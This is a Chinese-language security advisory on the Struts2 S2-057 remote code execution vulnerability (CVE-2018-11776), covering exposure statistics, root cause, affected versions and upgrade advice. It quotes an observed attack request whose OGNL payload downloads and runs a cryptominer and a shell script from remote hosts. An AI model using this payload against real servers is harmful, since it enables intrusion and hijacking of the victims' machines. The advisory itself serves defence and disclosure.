北京时间2018年08月22日,Struts2 官方网站公布最新一个远程命令执行漏洞,编号为S2-057。该漏洞可能导致攻击者提升权限,控制服务器。由于Struts2使用广泛,国内政府,大型企业均有使用该框架,请及时升级最新版本或做好防护措施。
Struts2是一个基于MVC设计模式的Web应用框架,目前已经发展成为一个非常成熟的框架。全球用大量的网站使用该框架开发。其中许多政府,大型企业均有使用。
Struts2 全球共有281021个对外开放,使用最多的国家是美国,共有78459个;中国第二65216;韩国第三,共有52421个;爱尔兰第四,共有12944个;乌拉圭第五,共有12927 个。中国地区中北京市最多,共有15471个;浙江省第二,共有15249个;广东省第三,共有5159个;上海市第四,共有3564个;江苏省第五,共有3292 个。
全球分布情况(仅为分布情况,不是漏洞影响情况)
中国地区分布情况(仅为分布情况,不是漏洞影响情况)
漏洞原理与危害
Struts2应用程序的配置文件(配置文件根据应用实际情况而不同)中如果namespace值未设置且(ActionConfiguration)中未设置或使用通配符的namespace时可能会导致远程代码执行,同样也可能因为配置文件中没有对url标签设置value和action的值,并且没有设置namespace或使用通配符的namespace也会导致远程代码执行。该漏洞的攻击点包括Redirect action、Action chaining、Postback result,这3种都属于struts2的跳转方式,用户可通过这3种传入静心构造的payload来发起攻击。
该漏洞危害等级为严重,任意攻击者可利用该漏洞执行远程执行任意命令,造成服务器被入侵的等安全风险。由于该漏洞通配符的namespace为禁用,在实际场景中存在一定局限性。
下图中我们在网址中加入表达式${999+999},访问后可跳转到地址为1998,证明成功执行语句。
s2-057 漏洞验证
s2-057漏洞检测脚本
根据白帽汇近日观察,目前网络中已经出现通过该漏洞POC进行挖矿扫描的案例,攻击者采用的攻击代码如下:
GET
/struts3-showcase/$${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘wget -O xrig hxxps://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh –output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1
攻击者利用上述代码用来传播挖矿木马从事挖矿活动。攻击者将程序使通过github.com和bitbucket.org两个代码托管平台作为媒介来传播。
漏洞影响
漏洞版本包括Struts 2.3 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16,除此之外还有可能其他版本也受影响。
漏洞POC
FOFA客户端已收录该POC。后续最新可以查看或者关注本链接(https://nosec.org/home/detail/1755.html)。
CVE编号
CVE-2018-11776
修复建议
1、 官方新版本已经修复该漏洞,建议直接升级到Apache Struts版本2.3.35或2.5.17。官方的下载地址为https://archive.apache.org/dist/struts/
参考
[1] https://cwiki.apache.org/confluence/display/WW/S2-057